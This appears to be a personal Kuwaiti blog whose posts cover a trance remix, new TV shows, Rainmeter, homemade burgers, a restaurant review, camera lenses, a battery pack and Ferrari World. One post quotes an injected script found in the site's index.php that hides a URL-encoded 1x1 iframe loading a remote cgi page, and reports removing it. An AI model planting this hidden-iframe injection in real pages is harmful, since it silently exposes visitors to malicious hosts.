Music Touched by Yours Truly!

27 Apr 2013  No Comments

Figured I might as well post it now since I’m on a music roll! Anyways, been wanting to post this for a while as something “Remixed” by me slightly with increasing BPM (Beats per Minute) and so on, but still managed to get decent responses within just a few days. I believe this is kinda new in the Kuwaiti blogging side, but hey, as they say, blend in or stand out, I decided to stand out in this case. WOHOO! So here it, a track by Armin Van Buuren – Waiting for the Night (feat. Fiora)

Picking up the Slack!

15 Apr 2013  3 Comments

Yup. I’m here to keep you guys entertained while “N” starts to be doing more than a monthly post. Or who knows, might end up taking over this blog should he retire. WE WILL NEVER KNOW!

Anyways, I’m Trance, pleased to meet you all.  I’m the uplifted and multi- interest and hobbies type of guy who’s going to be posting a lot of stuff, I hope, as long I do find lots of “interesting” stuff. They may be in any category whether it was music, video games, random news..etc. So pretty much the mini-version of “N”, till I start taking over..I mean…getting used to the blogging thing back again. I usually write lengthy posts in general when I get carried away, but for now, I’ll resist the urge to do so and just keep it simple so you guys won’t hate me on the first day.

So that was pretty much an introductory post, hope to see more involvement and comments from you guys here. Catch you peeps in another post~

P.S: Will update social media Networking links once I get a proper time with “N” again should it be needed. And by needed I mean “N” has got to stop slacking and do it already. ;p

P.P.S: If you thought I was kidding about writing serious “non-very useful” long posts, here’s a sample during the good times:

http://q8japan.blogspot.com/2007/08/late-read-this-before-posting-post.html

New TV Shows

27 May 2011  6 Comments

TV Shows

There have been a lot of TV show cancelation lately, some of them were not bad. I also didn’t have time in the past few months to watch all the series I usually follow.

I downloaded a bunch of new shows and watched at least a few episodes from almost all of them. here is the list:

  • An Idiot Abroad (2010)
  • Body Of Proof (2011)
  • Blue Bloods (2010)
  • Breaking In (2011)
  • Breakout Kings (2011)
  • Camelot (2011)
  • Community (2009)
  • Detroit 1-8-7 (2010)
  • Drew Cary’s Improve-A-Ganza (2011)
  • End Game (2011)
  • Game OF Thrones (2011)
  • Justified (2010)
  • Modern Family (2009)
  • Outsourced (2010)
  • Sherlock (2010)
  • The Borgias (2011)
  • The Event (2010)
  • The Killing (2011)
  • Treme (2010)

Customized

23 May 2011  No Comments

UT1 - Desktop

I am not that into customization of my PC’s due to the fact I format them every few months, because I love the “fresh start” feeling it gives me.

SO I wasn’t keen on trying Rainmeter, a Windows customization app the makes making your machine look the way you want as painless as possible. It gives you the ability to  customize the hell out of your PC.

The image above is of my desktop using one of Rainmeter’s default skins with a little extra tweaking.

Rainmeter [Link]

More Skins [Link]

April Fool’s?!

1 Apr 2011  3 Comments

Uptill1

At first, that was what I thought. Because it is the1st of April I thought it was just a prank by Google, as I only get the message above if I visit my site using Chrome.

But after digging through  a bit, it seems that my “index.php” file had the following script that triggered that warning.

< script >
enc = "%3Ciframe%20width%3D1%20height%3D1%20border%3D0%  20frameborder%3D0%20src%3D%27http%3A//trafusa.in/info/in.cgi%3F5% 27%3E%3C/iframe%3E";
dec = unescape(enc);
document.write(dec);
< /script >

After removing that I could visit the site without seeing the warning.

I have no idea how long that code was there or even of its important, but the site seems to work properly without it.

Home Made Burgers

31 Dec 2010  3 Comments

If you are a regular reader of this blog you would already know that I’m a big time burger fan. Last week I decided to grill my own burgers for our weekly family lunch. It wasn’t something new but its been a while since I did my own burgers.

What we regularly do is just grill some Kobe beef burgers. They taste very good and its much easier than doing your own patty. But in the quest for the ultimate burger, you will have to do your own patty.

I really recommend trying to do your own burger, its fun and there is almost no way to do it wrong. Just experiment. For the best buns a reader recommended Fudd’s, and he was right. Their buns are great. They sell a regular size (150 fils) and a large size (200 fils) buns.

My patty had:

  • Italian bread crumbs.
  • Onions.
  • Herbs.
  • Minced beef with 15-20% fat .

Little Ruby’s

29 Dec 2010  3 Comments

Yesterday, me and my wife decided to have a late lunch/early dinner out. So my wife thought we should give “Ruby’s” a try after it being recommended to her by a friend.. I already read good things about the place so we decided to give it a shot.

The place is cosy and nice. It was completely empty when we got there, completely.

The menu is very simple and just had a few selections, 3 salads, 3 panini’s, 3 pastas and 3 burgers. I loved the idea. I hate flipping through the menu trying to figure out what to eat for 15 minutes.

We ordered the Mikey’s Madness Salad to share, Chicken and Mango Chutney Panini and I had the Bronte Burger.

The salad was ok, but the sandwiches were great. both sandwiches had a pleasant sweetness to them. And the burger was very light too.

Definitely a recommended place and surley going there again soon.

UPDATE:
Mark has a good map to the place you can find it [here]

More pics inside—->

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DSLR Photography: Full Throttle

27 Dec 2010  2 Comments

You might remember back when I posted about the stupid DSLR ban that turned out to be just stupid journalism from a few individuals who people call “journalists”. Yes I mean you Al-Watan, Kuwait Times and Arab Times.

Anyway, in that article I posted that I had a DSLR and a couple of lenses held at customs. They arrived shortly after posting the article and I’ve been using them now for over a month now. I just love those 2 lenses. almost all of my blog post pics that I’ve posted were using those 2 lenses.

I’m planing to buy at least 1 more lens, need a zoom lens instead of the kit lens that I got with my previous (Sony Alpha 350) camera. I order a 18-250mm 3.5-6.3 lens and it should arrive any day now.

HyperMac Mini

20 Dec 2010  1 Comment

Aramex finally delivered my shipment after it stayed in their warehouse for 3 days. In that shipment was a HaperMac Mini external battery. just because I carry around a plethora of devices and if I find myself away from a wall socket and in desperate need of a charge. I would be safe IF i remember to keep this baby charged and ready to go.

A list of features from their website:

- Aluminum housing

- Attractive non-battery look

- 7200mAh lithium ion battery

- Extend iPad battery life by up to 10 extra hours

- Fully recharge the iPhone up to 6 times – Extend talk time by up to 72 hours, standby time by up to 1800 hours, Internet use by up to 54 hours

- Extend video playback by up to 60 hours and audio playback by up to 180 hours

- 10W (5V/2.1A max) power via USB port- Recharge via standard (5V/500mAh) or high power 10W (5V/2.1A max) USB

- Supports pass through charging, charge both battery and iPad/iPhone/iPod at the same time- Military grade lithium ion cells, rechargeable up to 1,000 times

- Built-in short circuit, overcharging and temperature protection

- 1 year limited warranty

HyperMac Mini

Ferrari World Abu Dhabi

19 Dec 2010  3 Comments

Last night I came back from a short trip to Dubai and Abu Dhabi. My friends and I went to see the Inter Milan semi final game and also went to the newly opened Ferrari World.

The design of the building/structure is simply amazing, for me it might be the best looking external and internal building in the world. Also, the whole park is a covered building that is air conditioned which is a great idea due to the weather that we have here in the gulf.

The main reason we went there is to try out the world fastest roller-coaster the Formula Rossa. It uses a catapult mechanism similar to the ones that are used on aircraft carriers to make planes reach their takeoff speeds in short distances. The ride reaches a top speed of 240 kph from a stationary position in 4.9 seconds. Glasses are required for the first line of the first cart only.

Ticket prices are 225 AED for adults and 165 AED for children. The premium prices are 375/270 AED. The line for the Formula Rossa was 2 hours for the regular tickets and 50 mins for the premium ones.

There isn’t much to do in the park apart from the roller coasters and the simulation (which I highly recommend booking an appointment as soon as you enter the park). There are some decent restaurants and a handful of kids activities/rides.

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